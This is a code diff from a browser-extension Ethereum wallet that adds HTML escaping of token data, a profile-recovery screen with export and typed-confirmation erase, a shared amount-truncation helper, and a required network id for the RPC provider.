html += `<button class="btn-remove-site border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-key="${escapeHtml(stateKey)}" data-hostname="${escapeHtml(hostname)}">[x]</button>`;
|
||||||
html += `</div>`;
|
html += `</div>`;
|
||||||
});
|
});
|
||||||
container.innerHTML = html;
|
container.innerHTML = html;
|
||||||
@@ -73,9 +77,10 @@ function renderTrackedTokens() {
|
|||||||
}
|
}
|
||||||
let html = "";
|
let html = "";
|
||||||
state.trackedTokens.forEach((token, idx) => {
|
state.trackedTokens.forEach((token, idx) => {
|
||||||
|
const sym = escapeHtml(displaySymbol(token.symbol));
|
||||||
const label = token.name
|
const label = token.name
|
||||||
? escapeHtml(token.name) + " (" + escapeHtml(token.symbol) + ")"
|
? escapeHtml(token.name) + " (" + sym + ")"
|
||||||
: escapeHtml(token.symbol);
|
: sym;
|
||||||
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
html += `<div class="flex justify-between items-center text-xs py-1 border-b border-border-light">`;
|
||||||
html += `<span>${label}</span>`;
|
html += `<span>${label}</span>`;
|
||||||
html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
|
html += `<button class="btn-remove-token border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer" data-idx="${idx}">[x]</button>`;
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
const { $, showView, showFlash, goBack } = require("./helpers");
|
const { $, showView, showFlash, escapeHtml, goBack } = require("./helpers");
|
||||||
const { getTopTokens } = require("../../shared/tokenList");
|
const { getTopTokens } = require("../../shared/tokenList");
|
||||||
const { state, saveState } = require("../../shared/state");
|
const { state, saveState } = require("../../shared/state");
|
||||||
const { lookupTokenInfo } = require("../../shared/balances");
|
const { lookupTokenInfo } = require("../../shared/balances");
|
||||||
@@ -26,11 +26,11 @@ function renderTop10() {
|
|||||||
: "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
|
: "border border-border px-1 hover:bg-fg hover:text-bg cursor-pointer text-xs";
|
||||||
return (
|
return (
|
||||||
`<button class="settings-addtoken-quick ${cls}"` +
|
`<button class="settings-addtoken-quick ${cls}"` +
|
||||||
` data-address="${t.address}"` +
|
` data-address="${escapeHtml(t.address)}"` +
|
||||||
` data-symbol="${t.symbol}"` +
|
` data-symbol="${escapeHtml(t.symbol)}"` +
|
||||||
` data-decimals="${t.decimals}"` +
|
` data-decimals="${escapeHtml(t.decimals)}"` +
|
||||||
` data-name="${(t.name || "").replace(/"/g, """)}"` +
|
` data-name="${escapeHtml(t.name || "")}"` +
|
||||||
`${tracked ? " disabled" : ""}>${t.symbol}</button>`
|
`${tracked ? " disabled" : ""}>${escapeHtml(t.symbol)}</button>`
|
||||||
);
|
);
|
||||||
})
|
})
|
||||||
.join("");
|
.join("");
|
||||||
@@ -62,11 +62,11 @@ function renderDropdown() {
|
|||||||
const tracked = isTracked(t.address);
|
const tracked = isTracked(t.address);
|
||||||
const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
|
const label = tokenLabel(t) + (tracked ? " (tracked)" : "");
|
||||||
html +=
|
html +=
|
||||||
`<option value="${t.address}"` +
|
`<option value="${escapeHtml(t.address)}"` +
|
||||||
` data-symbol="${t.symbol}"` +
|
` data-symbol="${escapeHtml(t.symbol)}"` +
|
||||||
` data-decimals="${t.decimals}"` +
|
` data-decimals="${escapeHtml(t.decimals)}"` +
|
||||||
` data-name="${(t.name || "").replace(/"/g, """)}"` +
|
` data-name="${escapeHtml(t.name || "")}"` +
|
||||||
`${tracked ? " disabled" : ""}>${label}</option>`;
|
`${tracked ? " disabled" : ""}>${escapeHtml(label)}</option>`;
|
||||||
}
|
}
|
||||||
sel.innerHTML = html;
|
sel.innerHTML = html;
|
||||||
}
|
}
|
||||||
@@ -133,7 +133,11 @@ function init(_ctx) {
|
|||||||
infoEl.style.visibility = "visible";
|
infoEl.style.visibility = "visible";
|
||||||
log.debugf("Looking up token contract", addr);
|
log.debugf("Looking up token contract", addr);
|
||||||
try {
|
try {
|
||||||
const info = await lookupTokenInfo(addr, state.rpcUrl);
|
const info = await lookupTokenInfo(
|
||||||
|
addr,
|
||||||
|
state.rpcUrl,
|
||||||
|
state.networkId,
|
||||||
|
);
|
||||||
log.infof("Adding token", info.symbol, addr);
|
log.infof("Adding token", info.symbol, addr);
|
||||||
state.trackedTokens.push({
|
state.trackedTokens.push({
|
||||||
address: addr,
|
address: addr,
|
||||||
|
|||||||
197
src/popup/views/stateRecovery.js
Normal file
197
src/popup/views/stateRecovery.js
Normal file
@@ -0,0 +1,197 @@
|
|||||||
|
// The screen the popup shows when it cannot read the stored profile.
|
||||||
|
//
|
||||||
|
// Everything else in the popup assumes a loaded profile: showView() reads and
|
||||||
|
// writes the state singleton, every view renders from it, and the Settings
|
||||||
|
// gear leads to a screen that does both. None of that is available here — by
|
||||||
|
// the time this runs, loadState() has REFUSED, deliberately, and reading the
|
||||||
|
// singleton throws (https://git.eeqj.de/sneak/AutistMask/issues/311).
|
||||||
|
//
|
||||||
|
// So this module talks to the DOM directly and touches no state at all. It is
|
||||||
|
// the one screen that must work when nothing else can, which is also why it
|
||||||
|
// takes no ctx and needs no init(): whatever the rest of the popup did or did
|
||||||
|
// not manage to wire up, this shows.
|
||||||
|
//
|
||||||
|
// Two controls, and both are required. An export with no reset leaves the user
|
||||||
|
// looking at their broken profile with no way to use the wallet again; a reset
|
||||||
|
// with no export destroys the only copy of a record that may hold key material
|
||||||
|
// a later build could read. So the export is offered first, in the page where
|
||||||
|
// it cannot fail, and the reset is behind a typed confirmation.
|
||||||
|
|
||||||
|
// $ and VIEWS only: nothing else in helpers is safe here, since showView() and
|
||||||
|
// everything under it read the state singleton. $ is taken from there rather
|
||||||
|
// than written again locally so that tests/popupElementIds.test.js sees these
|
||||||
|
// lookups and holds every id below against the markup.
|
||||||
|
const { $, VIEWS } = require("./helpers");
|
||||||
|
const { storageGet, storageRemove } = require("../../shared/browserApi");
|
||||||
|
const { log } = require("../../shared/log");
|
||||||
|
|
||||||
|
// Typed in full before anything is erased, in the same spirit as the wallet
|
||||||
|
// name on DeleteWalletLostPassword: this button destroys key material and
|
||||||
|
// there is no password in front of it, because there is no profile to check a
|
||||||
|
// password against. Compared case-insensitively — the phrase is the barrier,
|
||||||
|
// not the shift key.
|
||||||
|
const RESET_PHRASE = "ERASE MY WALLET";
|
||||||
|
|
||||||
|
let wired = false;
|
||||||
|
|
||||||
|
function setFlash(message) {
|
||||||
|
const node = $("state-recovery-flash");
|
||||||
|
node.textContent = message;
|
||||||
|
node.style.visibility = message ? "visible" : "hidden";
|
||||||
|
}
|
||||||
|
|
||||||
|
// The stored record exactly as storage hands it back, however malformed, with
|
||||||
|
// no normalization, no defaulting and no repair on it: this is evidence, and
|
||||||
|
// the point of the export is that a later build (or a human) sees what is
|
||||||
|
// actually there. It is not the raw bytes — storage deserializes, and
|
||||||
|
// exportRecord() re-serializes with JSON.stringify — so a value JSON cannot
|
||||||
|
// represent is the one thing that does not survive the trip. See there.
|
||||||
|
async function rawRecord() {
|
||||||
|
const result = await storageGet("autistmask");
|
||||||
|
return result.autistmask;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Best effort, and never the only route. A download from an extension popup
|
||||||
|
// depends on the browser, the popup staying open long enough, and the
|
||||||
|
// extension's content security policy; the textarea below depends on none of
|
||||||
|
// those, and is filled first.
|
||||||
|
function offerDownload(text) {
|
||||||
|
try {
|
||||||
|
if (
|
||||||
|
typeof Blob !== "function" ||
|
||||||
|
typeof URL === "undefined" ||
|
||||||
|
typeof URL.createObjectURL !== "function"
|
||||||
|
) {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
const url = URL.createObjectURL(
|
||||||
|
new Blob([text], { type: "application/json" }),
|
||||||
|
);
|
||||||
|
const link = document.createElement("a");
|
||||||
|
link.href = url;
|
||||||
|
link.download = "autistmask-saved-data.json";
|
||||||
|
link.click();
|
||||||
|
// Revoked in a later task, not in this one: the download is started
|
||||||
|
// from the click and revoking the URL in the same turn can cancel it
|
||||||
|
// before it has been read. If the popup closes first the URL dies with
|
||||||
|
// the document anyway.
|
||||||
|
if (typeof URL.revokeObjectURL === "function") {
|
||||||
|
setTimeout(() => URL.revokeObjectURL(url), 0);
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
} catch (e) {
|
||||||
|
log.errorf("state recovery: download failed:", e);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Residual, stated rather than left to be discovered: structured-clone storage
|
||||||
|
// holds values JSON does not have, and no build here writes one, but the export
|
||||||
|
// is a funds-recovery path and what it cannot carry has to be written down.
|
||||||
|
//
|
||||||
|
// Loud: JSON.stringify THROWS on a reference cycle or a BigInt. That lands in
|
||||||
|
// the catch below, so the export fails entirely and erase is the only control
|
||||||
|
// left on the screen.
|
||||||
|
//
|
||||||
|
// Silent, and the worse of the two, because the box then looks complete:
|
||||||
|
// a Date becomes its ISO string, a Map or a Set becomes {}, a property whose
|
||||||
|
// value is undefined is dropped from the output entirely, and NaN and
|
||||||
|
// ±Infinity become null. Nothing here can serialize any of it faithfully;
|
||||||
|
// recovering such a record needs the browser's own storage inspector.
|
||||||
|
async function exportRecord() {
|
||||||
|
let text;
|
||||||
|
try {
|
||||||
|
const record = await rawRecord();
|
||||||
|
text = JSON.stringify(record === undefined ? null : record, null, 2);
|
||||||
|
} catch (e) {
|
||||||
|
log.errorf("state recovery: export failed:", e);
|
||||||
|
setFlash(
|
||||||
|
"The saved data could not be read out of storage. Nothing has" +
|
||||||
|
" been changed.",
|
||||||
|
);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// JSON.stringify answers undefined for a value it cannot represent, and
|
||||||
|
// an empty box would read as "there was nothing there".
|
||||||
|
if (typeof text !== "string") text = String(text);
|
||||||
|
|
||||||
|
const box = $("state-recovery-blob");
|
||||||
|
box.value = text;
|
||||||
|
box.classList.remove("hidden");
|
||||||
|
const downloaded = offerDownload(text);
|
||||||
|
setFlash(
|
||||||
|
downloaded
|
||||||
|
? "Saved data downloaded, and shown below. Keep a copy before" +
|
||||||
|
" erasing anything."
|
||||||
|
: "Saved data shown below. Copy it and keep it before erasing" +
|
||||||
|
" anything.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
async function resetProfile() {
|
||||||
|
const typed = $("state-recovery-reset-input").value || "";
|
||||||
|
if (typed.trim().toUpperCase() !== RESET_PHRASE) {
|
||||||
|
setFlash("Type " + RESET_PHRASE + " to confirm. Nothing was erased.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
await storageRemove("autistmask");
|
||||||
|
} catch (e) {
|
||||||
|
log.errorf("state recovery: reset failed:", e);
|
||||||
|
setFlash("The saved data could not be erased. Nothing was changed.");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setFlash("Saved data erased. AutistMask is starting fresh.");
|
||||||
|
// Back to a first run, which is what the wallet now is. A popup that
|
||||||
|
// cannot reload says so rather than sitting on a screen describing a
|
||||||
|
// profile that no longer exists.
|
||||||
|
if (
|
||||||
|
typeof window !== "undefined" &&
|
||||||
|
window.location &&
|
||||||
|
typeof window.location.reload === "function"
|
||||||
|
) {
|
||||||
|
window.location.reload();
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setFlash("Saved data erased. Close and reopen AutistMask.");
|
||||||
|
}
|
||||||
|
|
||||||
|
function wire() {
|
||||||
|
if (wired) return;
|
||||||
|
wired = true;
|
||||||
|
$("btn-state-recovery-export").addEventListener("click", exportRecord);
|
||||||
|
$("btn-state-recovery-reset").addEventListener("click", resetProfile);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Show the recovery screen, naming `problem`.
|
||||||
|
*
|
||||||
|
* @param {Error|string} problem the StateUnusableError from the read that
|
||||||
|
* refused, or its sentence.
|
||||||
|
*/
|
||||||
|
function show(problem) {
|
||||||
|
const sentence =
|
||||||
|
(problem && (problem.problem || problem.message)) || String(problem);
|
||||||
|
|
||||||
|
// Not showView(): that reads and writes the singleton this screen exists
|
||||||
|
// because nothing could load.
|
||||||
|
for (const view of VIEWS) {
|
||||||
|
const node = document.getElementById("view-" + view);
|
||||||
|
if (node) node.classList.add("hidden");
|
||||||
|
}
|
||||||
|
// The one global control, and it leads to a screen that renders from the
|
||||||
|
// profile. There is nowhere to go from here but out.
|
||||||
|
const gear = $("btn-settings");
|
||||||
|
if (gear) gear.classList.add("hidden");
|
||||||
|
|
||||||
|
$("state-recovery-problem").textContent = sentence;
|
||||||
|
$("state-recovery-blob").value = "";
|
||||||
|
$("state-recovery-blob").classList.add("hidden");
|
||||||
|
$("state-recovery-reset-input").value = "";
|
||||||
|
setFlash("");
|
||||||
|
wire();
|
||||||
|
$("view-state-recovery").classList.remove("hidden");
|
||||||
|
log.errorf("state is unusable, showing the recovery screen:", sentence);
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { show, RESET_PHRASE };
|
||||||
@@ -15,9 +15,11 @@ const {
|
|||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
copyableHtml,
|
copyableHtml,
|
||||||
etherscanLinkHtml,
|
etherscanLinkHtml,
|
||||||
|
explorerUrl,
|
||||||
|
displaySymbol,
|
||||||
goBack,
|
goBack,
|
||||||
} = require("./helpers");
|
} = require("./helpers");
|
||||||
const { state, currentNetwork } = require("../../shared/state");
|
const { state } = require("../../shared/state");
|
||||||
const { formatEther, formatUnits } = require("ethers");
|
const { formatEther, formatUnits } = require("ethers");
|
||||||
const makeBlockie = require("ethereum-blockies-base64");
|
const makeBlockie = require("ethereum-blockies-base64");
|
||||||
const { log, debugFetch } = require("../../shared/log");
|
const { log, debugFetch } = require("../../shared/log");
|
||||||
@@ -44,7 +46,7 @@ function getTransactionType(tx) {
|
|||||||
|
|
||||||
function blockieHtml(address) {
|
function blockieHtml(address) {
|
||||||
const src = makeBlockie(address);
|
const src = makeBlockie(address);
|
||||||
return `<img src="${src}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
return `<img src="${escapeHtml(src)}" width="48" height="48" style="image-rendering:pixelated;border-radius:50%;display:inline-block">`;
|
||||||
}
|
}
|
||||||
|
|
||||||
function txAddressHtml(address, ensName, title) {
|
function txAddressHtml(address, ensName, title) {
|
||||||
@@ -56,7 +58,7 @@ function txAddressHtml(address, ensName, title) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function txHashHtml(hash) {
|
function txHashHtml(hash) {
|
||||||
const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
|
const link = explorerUrl("tx", hash);
|
||||||
const extLink = etherscanLinkHtml(link);
|
const extLink = etherscanLinkHtml(link);
|
||||||
return copyableHtml(hash, "break-all") + extLink;
|
return copyableHtml(hash, "break-all") + extLink;
|
||||||
}
|
}
|
||||||
@@ -101,9 +103,10 @@ function render() {
|
|||||||
$("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
|
$("tx-detail-to").innerHTML = txAddressHtml(tx.to, tx.toEns, toTitle);
|
||||||
|
|
||||||
// Exact amount (full precision, copyable)
|
// Exact amount (full precision, copyable)
|
||||||
|
const detailSym = displaySymbol(tx.symbol);
|
||||||
const exactStr = tx.exactValue
|
const exactStr = tx.exactValue
|
||||||
? tx.exactValue + " " + tx.symbol
|
? tx.exactValue + " " + detailSym
|
||||||
: tx.directionLabel + " " + tx.symbol;
|
: tx.directionLabel + " " + detailSym;
|
||||||
$("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
|
$("tx-detail-value").innerHTML = copyableHtml(exactStr, "font-bold");
|
||||||
|
|
||||||
// Native quantity (raw integer, copyable)
|
// Native quantity (raw integer, copyable)
|
||||||
@@ -133,7 +136,7 @@ function render() {
|
|||||||
if (tokenContractSection && tokenContractEl) {
|
if (tokenContractSection && tokenContractEl) {
|
||||||
if (tx.contractAddress) {
|
if (tx.contractAddress) {
|
||||||
const dot = addressDotHtml(tx.contractAddress);
|
const dot = addressDotHtml(tx.contractAddress);
|
||||||
const link = `${currentNetwork().explorerUrl}/token/${tx.contractAddress}`;
|
const link = explorerUrl("token", tx.contractAddress);
|
||||||
tokenContractEl.innerHTML =
|
tokenContractEl.innerHTML =
|
||||||
`<div class="flex items-center">${dot}` +
|
`<div class="flex items-center">${dot}` +
|
||||||
copyableHtml(tx.contractAddress, "break-all") +
|
copyableHtml(tx.contractAddress, "break-all") +
|
||||||
@@ -185,7 +188,7 @@ function showDetailField(sectionId, contentId, value) {
|
|||||||
function populateOnChainDetails(txData) {
|
function populateOnChainDetails(txData) {
|
||||||
// Block number
|
// Block number
|
||||||
if (txData.block_number != null) {
|
if (txData.block_number != null) {
|
||||||
const blockLink = `${currentNetwork().explorerUrl}/block/${txData.block_number}`;
|
const blockLink = explorerUrl("block", String(txData.block_number));
|
||||||
const blockSection = $("tx-detail-block-section");
|
const blockSection = $("tx-detail-block-section");
|
||||||
const blockEl = $("tx-detail-block");
|
const blockEl = $("tx-detail-block");
|
||||||
if (blockSection && blockEl) {
|
if (blockSection && blockEl) {
|
||||||
@@ -309,7 +312,7 @@ async function loadFullTxDetails(txHash, toAddress) {
|
|||||||
// Token entry: show symbol on its own line, then address via shared renderer
|
// Token entry: show symbol on its own line, then address via shared renderer
|
||||||
const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
|
const tokenSymbol = d.value.match(/^(\S+)\s*\(/)?.[1];
|
||||||
if (tokenSymbol) {
|
if (tokenSymbol) {
|
||||||
detailsHtml += `<div class="font-bold">${escapeHtml(tokenSymbol)}</div>`;
|
detailsHtml += `<div class="font-bold">${escapeHtml(displaySymbol(tokenSymbol))}</div>`;
|
||||||
}
|
}
|
||||||
detailsHtml += renderAddressHtml(d.address);
|
detailsHtml += renderAddressHtml(d.address);
|
||||||
} else if (d.address) {
|
} else if (d.address) {
|
||||||
|
|||||||
@@ -9,10 +9,12 @@ const {
|
|||||||
attachCopyHandlers,
|
attachCopyHandlers,
|
||||||
copyableHtml,
|
copyableHtml,
|
||||||
etherscanLinkHtml,
|
etherscanLinkHtml,
|
||||||
|
explorerUrl,
|
||||||
|
displaySymbol,
|
||||||
clearViewStack,
|
clearViewStack,
|
||||||
} = require("./helpers");
|
} = require("./helpers");
|
||||||
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
|
const { TOKEN_BY_ADDRESS } = require("../../shared/tokenList");
|
||||||
const { state, currentNetwork } = require("../../shared/state");
|
const { state } = require("../../shared/state");
|
||||||
const { getProvider } = require("../../shared/balances");
|
const { getProvider } = require("../../shared/balances");
|
||||||
const { log } = require("../../shared/log");
|
const { log } = require("../../shared/log");
|
||||||
|
|
||||||
@@ -62,13 +64,13 @@ function toAddressHtml(address) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function txHashHtml(hash) {
|
function txHashHtml(hash) {
|
||||||
const link = `${currentNetwork().explorerUrl}/tx/${hash}`;
|
const link = explorerUrl("tx", hash);
|
||||||
return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
|
return copyableHtml(hash, "break-all") + etherscanLinkHtml(link);
|
||||||
}
|
}
|
||||||
|
|
||||||
function blockNumberHtml(blockNumber) {
|
function blockNumberHtml(blockNumber) {
|
||||||
const num = String(blockNumber);
|
const num = String(blockNumber);
|
||||||
const link = `${currentNetwork().explorerUrl}/block/${num}`;
|
const link = explorerUrl("block", num);
|
||||||
return copyableHtml(num) + etherscanLinkHtml(link);
|
return copyableHtml(num) + etherscanLinkHtml(link);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -80,7 +82,10 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
|
|||||||
endWait();
|
endWait();
|
||||||
const id = waitId;
|
const id = waitId;
|
||||||
|
|
||||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
const symbol =
|
||||||
|
txInfo.token === "ETH"
|
||||||
|
? "ETH"
|
||||||
|
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||||
$("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
|
$("wait-tx-summary").textContent = txInfo.amount + " " + symbol;
|
||||||
$("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
|
$("wait-tx-to").innerHTML = toAddressHtml(txInfo.to);
|
||||||
$("wait-tx-hash").innerHTML = txHashHtml(txHash);
|
$("wait-tx-hash").innerHTML = txHashHtml(txHash);
|
||||||
@@ -108,7 +113,7 @@ function startWait(txInfo, txHash, broadcastTime, pollNow) {
|
|||||||
renderElapsed();
|
renderElapsed();
|
||||||
}, 1000);
|
}, 1000);
|
||||||
|
|
||||||
const provider = getProvider(state.rpcUrl);
|
const provider = getProvider(state.rpcUrl, state.networkId);
|
||||||
let consecutiveFailures = 0;
|
let consecutiveFailures = 0;
|
||||||
|
|
||||||
async function poll() {
|
async function poll() {
|
||||||
@@ -211,7 +216,10 @@ function restoreWait() {
|
|||||||
function showSuccess(txInfo, txHash, blockNumber) {
|
function showSuccess(txInfo, txHash, blockNumber) {
|
||||||
endWait();
|
endWait();
|
||||||
|
|
||||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
const symbol =
|
||||||
|
txInfo.token === "ETH"
|
||||||
|
? "ETH"
|
||||||
|
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||||
state.viewData = {
|
state.viewData = {
|
||||||
amount: txInfo.amount,
|
amount: txInfo.amount,
|
||||||
symbol: symbol,
|
symbol: symbol,
|
||||||
@@ -299,7 +307,10 @@ function renderSuccess() {
|
|||||||
function showError(txInfo, txHash, message) {
|
function showError(txInfo, txHash, message) {
|
||||||
endWait();
|
endWait();
|
||||||
|
|
||||||
const symbol = txInfo.token === "ETH" ? "ETH" : txInfo.tokenSymbol || "?";
|
const symbol =
|
||||||
|
txInfo.token === "ETH"
|
||||||
|
? "ETH"
|
||||||
|
: displaySymbol(txInfo.tokenSymbol || "?");
|
||||||
state.viewData = {
|
state.viewData = {
|
||||||
amount: txInfo.amount,
|
amount: txInfo.amount,
|
||||||
symbol: symbol,
|
symbol: symbol,
|
||||||
|
|||||||
46
src/shared/amountDisplay.js
Normal file
46
src/shared/amountDisplay.js
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
// The 4-decimal amount rule from README.md's Display Consistency section, and
|
||||||
|
// the one exception to it, in one place. Three call sites had grown their own
|
||||||
|
// copy of the truncation — the history and balance lists
|
||||||
|
// (`src/shared/transactions.js`), the approval screen's ERC-20 amount line
|
||||||
|
// (`src/popup/views/approval.js`) and its Uniswap swap detail lines
|
||||||
|
// (`src/shared/uniswap.js`) — and a fix applied to one of them left the other
|
||||||
|
// two showing a different number for the same value.
|
||||||
|
//
|
||||||
|
// The two functions below are the two policies, not two implementations of
|
||||||
|
// one: summary lists truncate, and the screens that state what is being
|
||||||
|
// authorized truncate with a floor. Keeping them adjacent is the point, so a
|
||||||
|
// change to the rule cannot reach one screen and miss another.
|
||||||
|
|
||||||
|
// Truncate to exactly four decimal places. Truncation, never rounding: an
|
||||||
|
// amount must never be displayed as larger than it is, so 0.99999 stays
|
||||||
|
// 0.9999.
|
||||||
|
function truncateAmount(val) {
|
||||||
|
const parts = val.split(".");
|
||||||
|
if (parts.length === 1) return val + ".0000";
|
||||||
|
return parts[0] + "." + (parts[1] + "0000").slice(0, 4);
|
||||||
|
}
|
||||||
|
|
||||||
|
// The same rule, plus the invariant the approval and confirmation screens
|
||||||
|
// hold: a nonzero amount never renders as zero. Truncating to four decimals
|
||||||
|
// does exactly that to an amount below 0.0001 — one base unit of an 18-decimal
|
||||||
|
// token, 500 of an 8-decimal one — and a real transfer or allowance then reads
|
||||||
|
// as "nothing is being moved" on the screen whose whole job is to say what is
|
||||||
|
// being authorized.
|
||||||
|
//
|
||||||
|
// When the truncated string carries no significant digit and the value does,
|
||||||
|
// the amount is extended to its first significant digit instead. It stays in
|
||||||
|
// token units, the same unit as the symbol printed beside it. A genuine zero
|
||||||
|
// still renders 0.0000, and anything at or above the floor is untouched.
|
||||||
|
function truncateAmountNeverZero(val) {
|
||||||
|
const truncated = truncateAmount(val);
|
||||||
|
// Tests the whole truncated string, integer part included: 1.00005 has a
|
||||||
|
// significant digit already and stays 1.0000.
|
||||||
|
if (/[1-9]/.test(truncated)) return truncated;
|
||||||
|
const parts = val.split(".");
|
||||||
|
if (parts.length === 1) return truncated;
|
||||||
|
const sig = parts[1].search(/[1-9]/);
|
||||||
|
if (sig === -1) return truncated;
|
||||||
|
return parts[0] + "." + parts[1].slice(0, sig + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = { truncateAmount, truncateAmountNeverZero };
|
||||||
@@ -14,38 +14,23 @@
|
|||||||
// them answers, unknownDecimalsAmount() renders the base-unit integer with the
|
// them answers, unknownDecimalsAmount() renders the base-unit integer with the
|
||||||
// unknown scale stated, and no formatUnits() call is reached at all.
|
// unknown scale stated, and no formatUnits() call is reached at all.
|
||||||
//
|
//
|
||||||
|
// The Uniswap decoder's Amount and Min. received lines land on this same
|
||||||
|
// screen and use these same two functions, so there is one way of resolving a
|
||||||
|
// scale and one way of saying there is none.
|
||||||
|
//
|
||||||
// This is the display counterpart to transferAmount.js, which takes the same
|
// This is the display counterpart to transferAmount.js, which takes the same
|
||||||
// stance on the wallet's own send path: an amount whose scale is unknown or
|
// stance on the wallet's own send path: an amount whose scale is unknown or
|
||||||
// disputed is refused rather than guessed at.
|
// disputed is refused rather than guessed at.
|
||||||
|
|
||||||
// Solidity's decimals() is a uint8, and every source here is ultimately
|
// Solidity's decimals() is a uint8, and every source here is ultimately
|
||||||
// reporting that call's result.
|
// reporting that call's result. toDecimals() is that check, shared with the
|
||||||
const { MAX_DECIMALS } = require("./transferAmount");
|
// send path rather than copied: the bundled list stores numbers, the
|
||||||
|
// explorer's copy arrives as a string, and a token the user added by hand
|
||||||
|
// carries whatever lookupTokenInfo() got back, so the accepted types are
|
||||||
|
// enumerated rather than coerced.
|
||||||
|
const { toDecimals } = require("./transferAmount");
|
||||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||||
|
|
||||||
// A decimals value as a number, or null if it is not one. The bundled list
|
|
||||||
// stores numbers, the explorer's copy arrives as a string, and a token the
|
|
||||||
// user added by hand can carry whatever lookupTokenInfo() got back, so the
|
|
||||||
// accepted types are enumerated rather than coerced: Number([]) is 0 and
|
|
||||||
// Number(true) is 1, so a coercing check would read an empty array as a scale
|
|
||||||
// of zero and format the amount as whole tokens.
|
|
||||||
function toDecimals(value) {
|
|
||||||
let n;
|
|
||||||
if (typeof value === "number") {
|
|
||||||
n = value;
|
|
||||||
} else if (typeof value === "bigint") {
|
|
||||||
if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
|
|
||||||
n = Number(value);
|
|
||||||
} else if (typeof value === "string") {
|
|
||||||
if (!/^[0-9]+$/.test(value)) return null;
|
|
||||||
n = Number(value);
|
|
||||||
} else {
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
|
|
||||||
return n;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Every decimals the explorer reported for this contract, across all the
|
// Every decimals the explorer reported for this contract, across all the
|
||||||
// addresses whose balances have been fetched. They describe one contract, so
|
// addresses whose balances have been fetched. They describe one contract, so
|
||||||
// they should agree; a set that does not agree is a scale in dispute, and this
|
// they should agree; a set that does not agree is a scale in dispute, and this
|
||||||
|
|||||||
@@ -9,25 +9,49 @@ const {
|
|||||||
formatUnits,
|
formatUnits,
|
||||||
} = require("ethers");
|
} = require("ethers");
|
||||||
const { ERC20_ABI } = require("./constants");
|
const { ERC20_ABI } = require("./constants");
|
||||||
|
const { NETWORKS } = require("./networks");
|
||||||
const { log, debugFetch } = require("./log");
|
const { log, debugFetch } = require("./log");
|
||||||
const { deriveAddressFromXpub } = require("./wallet");
|
const { deriveAddressFromXpub } = require("./wallet");
|
||||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||||
const { LOW_HOLDER_THRESHOLD, parseHoldersCount } = require("./holders");
|
const { LOW_HOLDER_THRESHOLD, parseHoldersCount } = require("./holders");
|
||||||
const { isSpoofedSymbol } = require("./symbolSpoof");
|
const { isSpoofedSymbol } = require("./symbolSpoof");
|
||||||
|
const { toDecimals } = require("./transferAmount");
|
||||||
|
const { resolveTokenDecimals } = require("./approvalAmount");
|
||||||
|
|
||||||
// Use a static network to skip auto-detection (which can fail and cause
|
// Use a static network to skip auto-detection (which can fail and cause
|
||||||
// "could not coalesce error" on some RPC endpoints like Cloudflare).
|
// "could not coalesce error" on some RPC endpoints like Cloudflare).
|
||||||
// Accepts an optional networkName ("mainnet" or "sepolia") for the static
|
//
|
||||||
// network hint so ethers picks the right chain parameters. When omitted,
|
// `networkId` is REQUIRED, and is one of the ids in networks.js. It used to be
|
||||||
// reads the currently selected network from extension state.
|
// optional, falling back to currentNetwork() — the module-level `state`
|
||||||
function getProvider(rpcUrl, networkName) {
|
// singleton, which the MV3 service worker never populates. The endpoint then
|
||||||
// Lazy require to avoid circular dependency issues at module scope.
|
// came out right and the static hint came out mainnet, so ethers fixed
|
||||||
const { currentNetwork } = require("./state");
|
// `chainId` at 0x1 and every non-mainnet dApp send was prepared for the wrong
|
||||||
const name = networkName || currentNetwork().id;
|
// chain and then refused by the wallet's own verifier
|
||||||
const net = Network.from(name);
|
// (https://git.eeqj.de/sneak/AutistMask/issues/320). Requiring it is what
|
||||||
